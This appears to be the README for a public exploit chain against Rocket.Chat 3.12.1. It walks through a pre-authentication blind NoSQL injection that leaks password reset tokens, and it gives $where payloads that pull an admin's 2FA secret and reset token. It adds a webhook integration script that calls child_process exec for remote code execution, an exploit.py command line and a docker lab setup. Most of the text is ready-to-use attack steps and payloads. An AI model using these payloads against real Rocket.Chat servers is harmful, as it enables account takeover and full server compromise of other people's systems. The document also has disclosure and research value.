Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1
- The getPasswordPolicy method is vulnerable to NoSQL injection attacks and does not require authentication/authorization. It can be used to take over accounts by leaking password reset tokens. Taking over an admin account leads to Remote Code Execution.
- Hijacking user's account ( Unauthenticated )
- There is NoSQL injection in getPasswordPolicy endpoint in password reset token parameter, which takes json object allowing us to use $regex operator. Which we use to perform blind nosql injection to get reset token.
- Privilege Escalation to admin ( Authenticated )
-
So admin user is most likely to be protected by 2fa. So even if we change admin's password through (1) it will prompt for 2fa code on login.
-
users.list api endpoint takes query parameter which is vulnerable to nosql injection. We are also able to retrieve data by throwing an error.
-
We run the following query to get admin's 2fa secret :
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
-
Next we just do (1) to reset admin's password and use the 2fa secret to generate code which we can use to login.
-
Updated : You can also retrieve the reset token through the same way you retrieved 2fa secret :
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
- RCE ( Autenticated - Admin )
- Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
- We create a integration with the following script :
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
- Next we just trigger the webhook to get rce :)
- You will need a low priv user's email who has no 2fa setup. ( -u )
- You will also need to know administrator email. Not a problem if admin is protected with 2fa. ( -a )
python3 exploit.py -u "user@rocket.local" -a "admin@rocket.local" -t "http://rocket.local"
- Tested on Rocket Chat 3.12.1
- Building your own test environment using docker :
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
- Enable Password Policy
- Enable 2FA for Admin
- Register a normal user.
NOTE: If you don't want Administrator protected with 2FA you can do the following.
- Send forget password mail
- Get resettoken for admin
- Change the password using the reset token retrieved
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)